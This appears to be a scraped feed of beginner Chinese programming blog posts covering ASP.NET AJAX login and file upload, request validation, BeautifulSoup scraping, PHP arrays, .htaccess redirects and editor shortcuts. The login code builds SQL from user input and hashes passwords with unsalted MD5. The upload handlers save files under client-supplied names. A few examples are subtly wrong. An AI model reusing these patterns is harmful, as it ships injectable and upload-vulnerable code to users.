public ActionResult Index()
{
var varObj = new { name = "她和她的猫", age = 20};
// 将匿名对象转换成JSON字符串 {"name": "她和她的猫", "age": 20}
string jsonStr = JsonConvert.SerializeObject(varObj);
// 再将JSON字符串转换成object
object obj = JsonConvert.DeserializeObject(jsonStr);
ViewBag.User = obj;
return View();
}
]]>这是一篇过去很久的文章,其中的信息可能已经有所发展或是发生改变。
News.objects.all().order_by("createtime")
News.objects.all().order_by("-createtime")
明天就要上课了 
]]>这是一篇过去很久的文章,其中的信息可能已经有所发展或是发生改变。
随着技术的发展,一些网站开始使用 AJAX 的方式进行登录,登录成功后只会刷新局部,从而提升了用户体验。在本文中,将使用ASP.NET和jQuery来实现登录功能。
我们使用SQLServer数据库,创建一章 Users 表,SQL 语句如下:
GO
/****** Object: Table [dbo].[Users] Script Date: 2017/2/9 21:25:22 ******/
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
CREATE TABLE [dbo].[Users](
[UserID] [int] IDENTITY(1,1) NOT NULL,
[UserName] [nvarchar](50) NOT NULL,
[Password] [nvarchar](50) NOT NULL,
[RegTime] [datetime] NULL,
CONSTRAINT [PK_Users] PRIMARY KEY CLUSTERED
(
[UserID] ASC
)WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY]
) ON [PRIMARY]
然后往Users表里面插入一条数据:
GO
SET IDENTITY_INSERT [dbo].[Users] ON
INSERT [dbo].[Users] ([UserID], [UserName], [Password], [RegTime]) VALUES (1, N'her-cat', N'E10ADC3949BA59ABBE56E057F20F883E', CAST(0x0000A715015BDD20 AS DateTime))
SET IDENTITY_INSERT [dbo].[Users] OFF
记得在 head 中引入 jQuery 类库。
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Default.aspx.cs" Inherits="UserAjaxLoginDemo.Default" %>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>ASP.NET+jQuery+ AJAX 实现用户登录实例</title>
<script src="Js/jquery.min.js"></script>
<style type="text/css">
#loginForm {
border: 1px solid gray;
text-align: center;
width: 300px;
}
#loginForm tr {
height: 35px;
}
#loginForm tr:nth-child(1) {
background-color: skyblue;
font-weight: bold;
}
</style>
</head>
<body>
<table id="loginForm">
<tr>
<td>用户登录</td>
</tr>
<tr>
<td>
<label>用户名:</label><input type="text" name="userName" value=" " />
</td>
</tr>
<tr>
<td>
<label>密 码:</label><input type="password" name="password" value="" />
</td>
</tr>
<tr>
<td>
<input type="button" name="btnSubmit" value="登 录" />
</td>
</tr>
</table>
</body>
</html>
用户在点击登录按钮以后,先验证用户名密码是否为空,然后向 UserLogin.ashx 文件发送 AJAX 请求,如果验证成功,则会在登录按钮下显示登录成功,否则提示相应的错误信息。
<script type="text/javascript">
$(function () {
$("input[name='btnSubmit']").click(function () {
var _this = $(this);
var userName = $("input[name='userName']").val().trim();
var password = $("input[name='password']").val().trim();
if (userName == "") {
alert("用户名不能为空!");
$("input[name='userName']").focus();
return false;
}
if (password == "") {
alert("密码不能为空!");
$("input[name='password']").focus();
return false;
}
$.ajax({
type: "POST",
url: "UserLogin.ashx",
dataType: "JSON",
data: { "userName": userName, "password": password },
beforeSend: function () {
_this.val("登录中...");
},
success: function (result) {
if (result.statusCode == 200) {
var trObj = "<tr><td><span style='color:green;'>登录成功!</span>欢迎您:" + result.username + "</td></tr>";
$(trObj).appendTo("#loginForm");
} else {
alert(result.message);
}
}
});
_this.val("登 录");
});
});
</script>
先判断请求方法是不是POST,然后接收传过来的用户名和密码,并使用 DBHelper 类与数据库中的用户名和密码进行比对,如果比对成功,则使用FormsAuthenticationTicket 创建身份验证票据,并返回用户名和状态码,否则返回对应的错误信息。
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Data;
using System.Runtime.Serialization;
using System.Web.Script.Serialization;
using System.Security.Cryptography;
using System.Web.Security;
using System.Text;
namespace UserAjaxLoginDemo
{
/// <summary>
/// UserLogin 的摘要说明
/// </summary>
public class UserLogin : IHttpHandler
{
public void ProcessRequest(HttpContext context)
{
context.Response.ContentType = "text/json";
if (context.Request.HttpMethod.ToUpper().Equals("POST"))
{
string userName = context.Server.HtmlEncode(context.Request.Form["userName"]);
string password = context.Server.HtmlEncode(context.Request.Form["password"]);
if (userName.Trim().Equals(""))
{
this.ResponseJsonMsg(201, "用户名不能为空!");
}
if (password.Trim().Equals(""))
{
this.ResponseJsonMsg(201, "密码不能为空!");
}
password = this.Str2Md5(password);
string sql = string.Format("SELECT * FROM Users WHERE UserName = '{0}'", userName);
DataTable dt = DBHelper.GetInstance().GetDataTable(sql);
if (dt.Rows.Count > 0)
{
if (dt.Rows[0]["Password"].ToString().Equals(password))
{
//创建身份验证票据
FormsAuthenticationTicket ticket = new FormsAuthenticationTicket(1,
userName,
DateTime.Now,
DateTime.Now.AddDays(30),
true,
"User",
FormsAuthentication.FormsCookiePath);
//加密身份验证票据
string hash = FormsAuthentication.Encrypt(ticket);
//创建要发送到客户端的cookie
HttpCookie cookie = new HttpCookie(FormsAuthentication.FormsCookieName, hash);
cookie.Expires = ticket.Expiration;
context.Response.SetCookie(cookie);
var obj = new
{
statusCode = 200,
username = userName,
message = "登录成功!"
};
context.Response.Write(new JavaScriptSerializer().Serialize(obj));
}
else
{
this.ResponseJsonMsg(202, "密码错误!");
}
}
else
{
this.ResponseJsonMsg(202, "用户不存在!");
}
}
}
/// <summary>
/// 响应json消息
/// </summary>
/// <param name="code"></param>
/// <param name="msg"></param>
public void ResponseJsonMsg(int code, string msg)
{
var obj = new
{
statusCode = code,
message = msg
};
HttpContext.Current.Response.Write(new JavaScriptSerializer().Serialize(obj));
HttpContext.Current.Response.End();
}
/// <summary>
/// 字符串MD5加密
/// </summary>
/// <param name="str"></param>
/// <returns></returns>
public string Str2Md5(string str)
{
byte[] result = Encoding.Default.GetBytes(str.Trim());
MD5 md5 = new MD5CryptoServiceProvider();
byte[] output = md5.ComputeHash(result);
return BitConverter.ToString(output).Replace("-", "");
}
public bool IsReusable
{
get
{
return false;
}
}
}
}
总的来说,登录的流程为 AJAX 提交数据 =》后台验证数据并返回相应的消息 =》根据返回的消息进行操作。
]]>这是一篇过去很久的文章,其中的信息可能已经有所发展或是发生改变。
今天在添加数据的时候系统抛出了下面这个错误,初步推断,应该是使用了ueditor编辑器传递的数据里面有未转义的html标签造成的。
System.Web.HttpRequestValidationException: 从客户端(details="<h3>关于我</h3><p>向支持者介...")中检测到有潜在危险的 Request.Form 值。
在 System.Web.HttpRequest.ValidateString(String value, String collectionKey, RequestValidationSource requestCollection)
在 System.Web.HttpRequest.<>c__DisplayClass5.<ValidateHttpValueCollection>b__3(String key, String value)
在 System.Web.HttpValueCollection.EnsureKeyValidated(String key)
在 System.Web.HttpValueCollection.Get(String name)
在 System.Collections.Specialized.NameValueCollection.get_Item(String name)
在ASP.NET中,每一次接收数据,都会对数据进行检查,如果数据中包含非法字符串,就会抛出这个错误。这个错误更像是一个提醒,提醒你这里的数据会含有非法字符串,会对系统造成威胁,让你采取一些措施进行防范。在刚学习 ASP.NET 的时候遇到过这个错误,后来使用 Server.HtmlEncode() 函数将所有的 HTML 标签进行转义才解决了这个问题。接收数据已经过滤转义了,但还是出现这个的错误,让我有点懵,最后经过不断的调试和百度才找到了解决方法。
方法一:在Web.config的system.web加上下面这两个节点:
<httpRuntime requestValidationMode="2.0" />
<pages validateRequest="false"/>
如果 system.web 里面有 httpRuntime 这个节点,就给他添加 requestValidationMode=“2.0” 属性值就行了。
方法二:比较好的解决方法就是在 aspx 文件中添加:
<%@ Page validateRequest="false" %>
如果使用了方法一,那么整站来自用户的输入都不会进行检查了,如果你不对数据进行转义的话,系统也不会抛出异常,但是这些非法字符会对你的系统造成一些危害。而第二种方法就只针对当前文件屏蔽检查,而其他页面依然会对用户输入进行检查,所以推荐使用方法二。
不管是使用哪种方法,一定要记得使用 Server.HtmlEncode() 等函数对数据进行过滤。
2017.2.8 23:45 更新感谢@姜辰的问题,让我发现了文中的一些错误,已进行修改。
]]>这是一篇过去很久的文章,其中的信息可能已经有所发展或是发生改变。
FormData 是为序列化表以及创建与表单相同的数据(用于 XHR 传输)提供便利。FormData 翻译过来就是表单数据,说白了就是方便我们用它来进行 AJAX 操作,想要继续了解的朋友可以百度一下。
首先引入jQuery类库,然后在页面上放置一个文件框用于选择图片、一个上传按钮用来提交数据,img 标签用来显示上传成功后的图片。
<form action="/" method="post">
<input type="file" name="fileUpload" value="" />
<input type="button" name="btnUpload" value="上传" />
</form>
<img id=”showImg” src="#" alt="" style="display:none;" />
$(function () {
$("input[name='btnUpload']").click(function () {
var fileUpload = $("input[name='fileUpload']").get(0);
var files = fileUpload.files; // 上传的图片
var data = new FormData(); // 实例化一个FormData
data.append(files[0].name, files[0]); // 将上传的图片数据添加到FormData里面
$.ajax({
url: "FileUploadHandler.ashx", // 后台接收图片数据文件
type: "POST",
data: data,
contentType: false,
processData: false,
success: function (result) {
$("#showImg").prop("src", result).show();
},
error: function (err) {
alert(err);
}
});
});
});
上面的 jQuery 很方便快捷的完成了前端交互操作,代码一目了然,也比较简单,关键的地方都做了注释。
FileUploadHandler.ashx 需要通过 Request.Files.Count 来判断是否上传了图片,如果上传了,就从 Request.Files 中取出图片,并设置图片保存的路径,然后保存图片,最后输出图片保存的路径。
/// <summary>
/// FileUploadHandler 的摘要说明
/// </summary>
public class FileUploadHandler : IHttpHandler
{
public void ProcessRequest(HttpContext context)
{
//验证是否有提交了图片
if (context.Request.Files.Count > 0)
{
HttpFileCollection files = context.Request.Files;
string fname = context.Server.MapPath("~/uploads/" + files[0].FileName); //设置图片保存路径
files[0].SaveAs(fname); // 保存图片
context.Response.ContentType = "text/plain"; // 设置响应内容的类型
context.Response.Write("./uploads/" + files[0].FileName); // 输出文件保存地址
}
}
public bool IsReusable
{
get
{
return false;
}
}
}
虽然文章标题只说了上传图片,但是上传文件也是可以的,具体就要看你怎么应用了。假期就剩两个星期了,项目一半都还没完成,心塞。
]]>这是一篇过去很久的文章,其中的信息可能已经有所发展或是发生改变。
Beautiful Soup 提供一些简单的、Python 式的函数用来处理导航、搜索、修改分析树等功能。它是一个工具箱,通过解析文档为用户提供需要抓取的数据,因为简单,所以不需要多少代码就可以写出一个完整的应用程序。
下载完成后将安装包解压到某个目录中(示例为D:\tools)。解压后安装程序的目录为 D:\tools\beautifulsoup4-4.5.3。
在cmd命令行中使用 cd D:\tools\beautifulsoup4-4.5.3 命令进入程序目录。输入 python setup.py install 开始安装 BeautifulSoup。
安装完成以后就可以开始编码了,首先导入 urllib2 和 bs4。
import urllib2 # urllib 库提供了一个从指定的 URL 地址获取网页数据
from bs4 import BeautifulSoup
创建一个Resquest请求,其中 https://her-cat.com 是请求的站点地址,这里使用的是我的博客网址。
request = urllib2.Request('https://her-cat.com')
一些网站做了 User-Agent 判断,防止非正常用户访问页面,所以我们可以给这个 Request 请求添加一个请求头部数据,用于伪造 User-Agent。
request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36')
获取 HTML 内容并创建 BeautifulSoup 对象
html = urllib2.urlopen(request)
soup = BeautifulSoup(html, 'html.parser')
然后我们这个 BeautifulSoup 对象使用一些方法来获取想要的内容。
print(soup.prettify()) # 格式化输入html文本
soup.select('span.comment_text') # 找到所有类名为comment_text的span标签
查找该网页中所有的 a 标签:
for link in soup.find_all('a'):
print(link.get('href')) # 输出a标签中的href属性值
print(link.get_text()) # 查询a标签的文本内容
关于 BeautifulSoup 的安装和使用就到此结束了~
]]>这是一篇过去很久的文章,其中的信息可能已经有所发展或是发生改变。
题目详情我们要给每个字母配一个1-26之间的整数,具体怎么分配由你决定,但不同字母的完美度不同,而一个字符串的完美度等于它里面所有字母的完美度之和,且不在乎字母大小写,也就是说字母F和f的完美度是一样的。
现在给定一个字符串,输出它的最大可能的完美度。例如:dad,你可以将26分配给d,25分配给a,这样整个字符串最大可能的完美度为 77。
输入:dad
输出:77
解题思路:先把输入的字符串全部转成小写,然后找出出现次数最多的字母,然后次数最多的给26,其次为25,后面就以此类推,最后求和就行了。
static void Main(string[] args)
{
//将输入的字符串转成小写
string str = Console.ReadLine().ToLower();
//将输入的字符串转成char类型的数组
char[] charArr = str.ToCharArray();
//定义一个长度为26的int类型数组
int[] count = new int[26];
foreach (char c in charArr)
{
// 字母减去a的结果作为字母的索引,然后对应的值+1
// 不理解的话取消下面的注释运行
//Console.WriteLine(c - 'a');
count[c - 'a']++;
}
//使用冒泡排序将出现次数按照递减排列
BubbleSort(count);
//字符串完美度初始值
int pretect = 0;
for (int i = 0; i < 26; i++)
{
if (count[i] != 0)
{
//count[i] 取出对应字母的出现次数
pretect += count[i] * (26 - i);
}
else
{
//如果等于0则说明后面的字母都没有出现过
break;
}
//Console.WriteLine("{0}:{1}", (char)(i + 'a'), count[i]);
}
Console.WriteLine(pretect);
Console.ReadLine();
}
/// <summary>
/// 冒泡排序
/// </summary>
/// <param name="count"></param>
public static void BubbleSort(int[] count)
{
for (int i = 0; i < count.Length; i++)
{
for (int j = i; j < count.Length; j++)
{
if (count[i] < count[j])
{
int temp = count[j];
count[j] = count[i];
count[i] = temp;
}
}
}
}
]]>这是一篇过去很久的文章,其中的信息可能已经有所发展或是发生改变。
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Web;r
namespace BuildWheel
{
/// <summary>
/// Cookie辅助类
/// </summary>
public class CookieHelper
{
/// <summary>
/// 设置、删除、修改cookie
/// </summary>
/// <param name="cookieName">cookie名称</param>
/// <param name="cookieValue">cookie值</param>
/// <param name="expires">过期时间</param>
public static void SetCookie(string cookieName, string cookieValue, DateTime expires)
{
HttpCookie cookie = new HttpCookie(cookieName)
{
Value = cookieValue,
Expires = expires
};
HttpContext.Current.Response.Cookies.Add(cookie);
}
/// <summary>
/// 删除指定cookie
/// </summary>
/// <param name="cookieName">cookie名称</param>
public static void DeleteCookie(string cookieName)
{
HttpCookie cookie = HttpContext.Current.Request.Cookies[cookieName];
if (cookie != null)
{
cookie.Expires = DateTime.Now.AddYears(-3);
HttpContext.Current.Response.Cookies.Add(cookie);
}
}
/// <summary>
/// 清除所有cookie
/// </summary>
public static void ClearCookies()
{
HttpContext.Current.Request.Cookies.AllKeys.ToList().ForEach((e) =>
{
HttpCookie cookie = HttpContext.Current.Response.Cookies[e];
cookie.Expires = DateTime.Now.AddYears(-3);
HttpContext.Current.Response.Cookies.Add(cookie);
});
}
/// <summary>
/// 获取cookie值
/// </summary>
/// <param name="cookieName">cookie名称</param>
/// <returns></returns>
public static string GetCookieValue(string cookieName)
{
HttpCookie cookie = HttpContext.Current.Request.Cookies[cookieName];
string cookieValue = string.Empty;
if (cookie != null)
{
cookieValue = cookie.Value;
}
return cookieValue;
}
}
}
有错误欢迎指出~
]]>这是一篇过去很久的文章,其中的信息可能已经有所发展或是发生改变。
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="UploadPic.aspx.cs" Inherits="UploadPicDemo.UploadPic" %>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<title>ASP.NET上传图片</title>
</head>
<body>
<form id="form1" runat="server">
<div>
<asp:Image ID="imagePic" runat="server" />
<br />
<asp:FileUpload ID="fileUpload" runat="server" />
<asp:Button ID="btnUpload" runat="server" Text="上传" OnClick="btnUpload_Click" />
<br />
<asp:Label ID="lblMessage" runat="server"></asp:Label>
</div>
</form>
</body>
</html>
后台代码:
//上传按钮单击事件
protected void btnUpload_Click(object sender, EventArgs e)
{
if (fileUpload.HasFile)
{
//获取上传的文件名
string fileName = fileUpload.FileName;
//获取上传文件的文件后缀名
string fileFix = fileName.Substring(fileName.LastIndexOf('.') + 1).ToLower();
if (fileFix != "png" && fileFix != "jpg" && fileFix != "jpeg" && fileFix != "gif")
{
this.lblMessage.Text = "上传的文件不是图片类型文件";
}
else
{
fileUpload.SaveAs(Server.MapPath(".") + "//UploadPic//" + fileName);
this.imagePic.ImageUrl = "~/UploadPic/" + fileName;
this.lblMessage.Text = "图片上传成功!";
}
}
}
]]>这是一篇过去很久的文章,其中的信息可能已经有所发展或是发生改变。
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Data;
using System.Data.SqlClient;
namespace GFAMS
{
class DBHelper
{
//数据库连接字符串
private static string connStr = "Data Source=.;Initial Catalog=数据库名;Integrated Security=True";
/// <summary>
/// 内部数据连接对象
/// </summary>
private static SqlConnection Conn = null;
/// <summary>
/// 内部实例对象
/// </summary>
private static DBHelper Instance = null;
private DBHelper()
{
}
/// <summary>
/// 静态方法,获取数据库连接实例
/// </summary>
/// <returns>数据库连接实例</returns>
public static DBHelper GetInstance()
{
if (DBHelper.Instance == null)
{
DBHelper.Instance = new DBHelper();
}
return DBHelper.Instance;
}
/// <summary>
/// 初始化数据库连接
/// </summary>
public void InitConnection()
{
//如果连接对象不存在,则创建连接
if (Conn == null)
Conn = new SqlConnection(connStr);
//如果连接对象关闭,则打开连接
if (Conn.State.Equals(ConnectionState.Closed))
Conn.Open();
//如果连接中断,则重启连接
if (Conn.State.Equals(ConnectionState.Broken))
{
Conn.Close();
Conn.Open();
}
}
/// <summary>
/// 查询、获取 DataReader
/// </summary>
/// <param name="sqlStr">Sql语句</param>
/// <returns>SqlDataReader 数据集</returns>
public SqlDataReader GetDataReader(string sqlStr)
{
InitConnection();
SqlCommand cmd = new SqlCommand(sqlStr, Conn);
//CommandBehavior.CloseConnection 命令行为:当 DataReader 对象被关闭时,自动关闭占用的连接对象
return cmd.ExecuteReader(CommandBehavior.CloseConnection);
}
/// <summary>
/// 查询、获取 DataTable
/// </summary>
/// <param name="sqlStr">Sql语句</param>
/// <returns>DataTable 数据表</returns>
public DataSet GetDataSet(string sqlStr)
{
InitConnection();
DataSet ds = new DataSet();
SqlDataAdapter dap = new SqlDataAdapter(sqlStr, Conn);
dap.Fill(ds);
Conn.Close();
return ds;
}
/// <summary>
/// 执行增删改
/// </summary>
/// <param name="sqlStr">Sql语句</param>
/// <returns>受影响行数</returns>
public int ExecuteNonQuery(string sqlStr)
{
InitConnection();
SqlCommand cmd = new SqlCommand(sqlStr, Conn);
int rows = cmd.ExecuteNonQuery();
Conn.Close();
return rows;
}
/// <summary>
/// 执行聚合函数
/// </summary>
/// <param name="sqlStr">Sql语句</param>
/// <returns>Object对象</returns>
public object ExecuteScalar(string sqlStr)
{
InitConnection();
SqlCommand cmd = new SqlCommand(sqlStr, Conn);
object result = cmd.ExecuteScalar();
Conn.Close();
return result;
}
}
}
]]>这是一篇过去很久的文章,其中的信息可能已经有所发展或是发生改变。
string Path = @"E:/Test/"; //文件保存路径
int width = this.Size.Width; //当前窗体宽度
int heigh = this.Size.Height; //当前窗体高度
Bitmap bmp = new Bitmap(width, heigh); //新建一个 Bitmap 位图
string FileName = Path + DateTime.Now.ToString("yyyyMMddHHmmss") + "_" + new Random().Next(999) + ".jpg";
this.DrawToBitmap(bmp, new Rectangle(0, 0, width, heigh)); //将当前屏幕画到 Bitmap 位图上
bmp.Save(FileName, System.Drawing.Imaging.ImageFormat.Jpeg); //保存图片
捕获整个屏幕:
string Path = @"E:/Test/"; //文件保存路径
int width = Screen.PrimaryScreen.Bounds.Width; //主屏幕宽度
int height = Screen.PrimaryScreen.Bounds.Height; //主屏幕高度
Bitmap bmp = new Bitmap(width, height); //新建一个 Bitmap 位图
Graphics g = Graphics.FromImage(bmp); //从 Bitmap 位图创建 Graphics
g.CopyFromScreen(new Point(0, 0), new Point(0, 0), new Size(width, height));
g.ReleaseHdc(g.GetHdc());
string FileName = Path + DateTime.Now.ToString("yyyyMMddHHmmss") + "_" + new Random().Next(999) + ".jpg";
bmp.Save(FileName);
源码下载:x
效果图:x
不足:捕获时将 Winform 窗体一起捕获进去了。解决办法:当点击捕获屏幕按钮时,将当前窗体隐藏,截图成功后再显示。
]]>这是一篇过去很久的文章,其中的信息可能已经有所发展或是发生改变。
图一.png
然后就看见室友“哒哒哒”的点击着鼠标。我心想,这不得累死,难道就不能写个 Js 脚本来代替我们点击吗?于是动手开始实验。首先右键需要点击的按钮,然后点击检查(我用的是谷歌浏览器)。
图二.png
然后就可以知道这个按钮的 id 是什么,通过 id 触发 click() 单击事件。
图三.png
接下来就开始编写 Js 脚本了,其实就一行代码。
setInterval(function(){
$("#MainClick").click();
}, 100);
点击 Console, 输入js代码,回车。然后你就可以看着已祭献小兵数在自己增加了
图四.png
当然你还可以让它增加的更快一点,将上面的 100 毫秒改成 10 毫秒或者更小。最后效果:
图五.png
最后总结,能够用代码解决的事就不要浪费自己的时间了。
]]>这是一篇过去很久的文章,其中的信息可能已经有所发展或是发生改变。
欢迎提意见。
]]>手上的事终于要做完了,感觉整个人都变得轻松了。
博客今天开始恢复更新。
晚安。
]]>在这里举个例子,加入我有两个 PHP 文件,a.php 和 b.php。我要在 a.php 中引入 b.php,而要阻止用户直接访问 b 文件。
a.php 代码:
<?php
define('TITLE', '她和她的猫博客');
require './b.php';
?>
上面的代码中,第二行使用了 define() 函数来定义一个名为 ‘TITLE’ 的常量,第三行引入了 b.php。
define() 用法:
define('常量的名称', '常量的值');
b.php代码:
<?php
if (defined('TITLE')) {
echo TITLE;
} else {
exit('非法访问!');
}
?>
第二行用了 defined() 函数来判断用户是否定义了 ‘TITLE’ 常量,当从 a.php 中引入 b.php 的时候,也就定义了‘TITLE’常量,defined() 函数返回 true,当用户直接访问 b.php 时,就会返回 false;
注:exit()函数是停止PHP脚本运行,输出括号里面的内容,不再运行后续代码。
]]>这是一篇过去很久的文章,其中的信息可能已经有所发展或是发生改变。
但是事实赤裸裸的打脸了,星期六早上8点半坐车,下午将近五点才到,人都坐蒙了。
星期天上午天气不好没去,下午1点多去的,4点多才弄完,第二天又坐了一天车。
放假三天,坐车差不多就两天,累~
据说51劳动节也是放三天,反正我是不回去了!
]]>话不多说,直接上代码:
function randStr($strLen){
$code = '123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$str = "";
for ($i=0; $i < $strLen; $i++) {
$str .= $code[rand(0, 60)];
}
return $str;
}
echo randStr(32);
运行截图:x
PHP允许将字符串当作数组来输出,例如上面输出 $code[0] 就是 数字 1, $code[9] 就是 小写字母 a
运行截图:x
]]>这是一篇过去很久的文章,其中的信息可能已经有所发展或是发生改变。
301是HTTP的状态码的一种,表示本网页永久性转移到另一个地址。301跳转也叫做301重定向,指的是当用户点击一个网址时,通过技术手段,跳转到另一个跳转到另一个网址。
如果不做301跳转会怎样呢?
虽然 her-cat.com 和 www.her-cat.com 都是链接到博客首页,但是百度却认为这是两个网站,因为我个人比较喜欢不带 www,所以要让它从 www.her-cat.com 跳转到 her-cat.com。
一般在 Z-blog 程序后台设置好伪静态后,系统会在根目录下面生成一个 .htaccess 文件。
将 .htaccess 文件下载到本地,打开 .htaccess 文件,我们只需要在 RewriteBase / (第3行)上面一行插入以下代码即可:
RewriteCond %{HTTP_HOST} ^要跳转的域名$ [NC]
RewriteRule ^(.*)$ 定向到的域名/$1 [L,R=301]
将上面的网址替换成你的博客地址就可以了,例如:
RewriteCond %{HTTP_HOST} ^www.her-cat.com$ [NC,OR]
RewriteRule ^(.*)$ http://www.her-cat.com$1 [R=301,L]
然后将修改后的 .htaccess 文件上传至网站根目录即可,用站长工具检测,工具地址:http://tool.chinaz.com/pagestatus/
还有一种方法就是使用 PHP 代码实现跳转:
header("HTTP/1.1 301 Moved Permanently");
header("Location: http://你的网址/");
exit();
需要注意,修改 .htaccess 文件的方法只适用于 PHP Linux 系统的主机。
]]>这是一篇过去很久的文章,其中的信息可能已经有所发展或是发生改变。
1.遍历数组:
遍历数组常用的两个函数:for() 和 foreach()。
$arr = array("one", "two", "three");
echo '使用for()循环:<br/>';
for ($i = 0; $i < count($arr); $i++) {
echo 'key:' . $i . ' --- value:' . $arr[$i] . '<br/>';
}
echo '使用foreach()循环:<br/>';
foreach ($arr as $key => $value) {
echo 'key:' . $key . ' --- value:' . $value . '<br/>';
}
2.array_unique() 删除数组中重复的元素:
$arr = array("one", "two", "three", "one", "four", "three");
echo '使用array_unique()前:<br/>';
print_r($arr);
$result = array_unique($arr);
echo '<br/>使用array_unique()后:<br/>';
print_r($result);
3.array_merge() 合并数组:
$arr = array("one", "two", "three");
$arr2 = array("four", "five", "six");
$result = array_merge($arr, $arr2);
print_r($result);
注:array_merge() 函数可以一次合并多个数组 array_merge($arr, $arr2, $arr3, …);
4. in_array()检测数组中是否存在某个值:
$arr = array("one", "two", "three");
$value = "two";
if (in_array($value, $arr)) {
echo $value . '存在';
} else {
echo $value . '不存在';
}
5. array_search()搜索数值:
$arr = array("one", "two", "three");
$value = "three";
$result = array_search($value, $arr);
if ($result === null) {
echo $value . '不存在';
} else {
echo $result . '存在';
}
运行结果:2存在
注:array_search() 函数返回的是该数值在数组中的索引,返回值有可能为 false、0 或 null,因此判断时要使用 “===”
6. sort()、rsort()对数组进行排序:
$arr = array("b", "c", "a");
echo '从低到高排序:<br/>';
sort($arr);
print_r($arr);
echo '<br/>从高到低排序:<br/>';
rsort($arr);
print_r($arr);
7. shuffle()打乱数组顺序:
$arr = array("a", "b", "c");
shuffle($arr);
print_r($arr);
注:每次运行的结果不一样,跟随机差不多。
]]>这是一篇过去很久的文章,其中的信息可能已经有所发展或是发生改变。
Ctrl+D 选中光标所占的文本,继续操作则会选中下一个相同的文本。
Alt+F3 选中文本按下快捷键,即可一次性选择全部的相同文本进行同时编辑。举个栗子:快速选中并更改所有相同的变量名、函数名等。
Ctrl+L 选中整行,继续操作则继续选择下一行,效果和 Shift+↓ 效果一样。
Ctrl+Shift+L 先选中多行,再按下快捷键,会在每行行尾插入光标,即可同时编辑这些行。
Ctrl+Shift+M 选择括号内的内容(继续选择父括号)。举个栗子:快速选中删除函数中的代码,重写函数体代码或重写括号内里的内容。
Ctrl+M 光标移动至括号内结束或开始的位置。
Ctrl+Enter 在下一行插入新行。举个栗子:即使光标不在行尾,也能快速向下插入一行。
Ctrl+Shift+Enter 在上一行插入新行。举个栗子:即使光标不在行首,也能快速向上插入一行。
Ctrl+Shift+[ 选中代码,按下快捷键,折叠代码。
Ctrl+Shift+] 选中代码,按下快捷键,展开代码。
Ctrl+K+0 展开所有折叠代码。
Ctrl+← 向左单位性地移动光标,快速移动光标。
Ctrl+→ 向右单位性地移动光标,快速移动光标。
shift+↑ 向上选中多行。
shift+↓ 向下选中多行。
Shift+← 向左选中文本。
Shift+→ 向右选中文本。
Ctrl+Shift+← 向左单位性地选中文本。
Ctrl+Shift+→ 向右单位性地选中文本。
Ctrl+Shift+↑ 将光标所在行和上一行代码互换(将光标所在行插入到上一行之前)。
Ctrl+Shift+↓ 将光标所在行和下一行代码互换(将光标所在行插入到下一行之后)。
Ctrl+Alt+↑ 向上添加多行光标,可同时编辑多行。
Ctrl+Alt+↓ 向下添加多行光标,可同时编辑多行。
编辑类
Ctrl+J 合并选中的多行代码为一行。举个栗子:将多行格式的CSS属性合并为一行。
Ctrl+Shift+D 复制光标所在整行,插入到下一行。
Tab 向右缩进。
Shift+Tab 向左缩进。
Ctrl+K+K 从光标处开始删除代码至行尾。
Ctrl+Shift+K 删除整行。
Ctrl+/ 注释单行。
Ctrl+Shift+/ 注释多行。
Ctrl+K+U 转换大写。
Ctrl+K+L 转换小写。
Ctrl+Z 撤销。
Ctrl+Y 恢复撤销。
Ctrl+U 软撤销,感觉和 Gtrl+Z 一样。
Ctrl+F2 设置书签
Ctrl+T 左右字母互换。
F6 单词检测拼写
搜索类
Ctrl+F 打开底部搜索框,查找关键字。
Ctrl+shift+F 在文件夹内查找,与普通编辑器不同的地方是sublime允许添加多个文件夹进行查找,略高端,未研究。
Ctrl+P 打开搜索框。举个栗子:1、输入当前项目中的文件名,快速搜索文件,2、输入@和关键字,查找文件中函数名,3、输入:和数字,跳转到文件中该行代码,4、输入#和关键字,查找变量名。
Ctrl+G 打开搜索框,自动带:,输入数字跳转到该行代码。举个栗子:在页面代码比较长的文件中快速定位。
Ctrl+R 打开搜索框,自动带@,输入关键字,查找文件中的函数名。举个栗子:在函数较多的页面快速查找某个函数。
Ctrl+: 打开搜索框,自动带#,输入关键字,查找文件中的变量名、属性名等。
Ctrl+Shift+P 打开命令框。场景栗子:打开命名框,输入关键字,调用sublime text或插件的功能,例如使用package安装插件。
Esc 退出光标多行选择,退出搜索框,命令框等。
显示类
Ctrl+Tab 按文件浏览过的顺序,切换当前窗口的标签页。
Ctrl+PageDown 向左切换当前窗口的标签页。
Ctrl+PageUp 向右切换当前窗口的标签页。
Alt+Shift+1 窗口分屏,恢复默认1屏(非小键盘的数字)
Alt+Shift+2 左右分屏-2列
Alt+Shift+3 左右分屏-3列
Alt+Shift+4 左右分屏-4列
Alt+Shift+5 等分4屏
Alt+Shift+8 垂直分屏-2屏
Alt+Shift+9 垂直分屏-3屏
Ctrl+K+B 开启/关闭侧边栏。
F11 全屏模式
Shift+F11 免打扰模式
]]>这是一篇过去很久的文章,其中的信息可能已经有所发展或是发生改变。
我们使用《终于到了。》这篇文章作为目标网页,获取网页源代码比较简单的方法就是使用file_get_contents()函数,使用方法:
$content = file_get_contents("https://her-cat.com");
变量 $content 就是用来储存我们使用 file_get_contents() 获取的网页源代码。
接下来就是如何使用正则匹配出正文内容,我们先用浏览器打开这个页面,然后右键查看源代码,找到正文处代码。
图没了
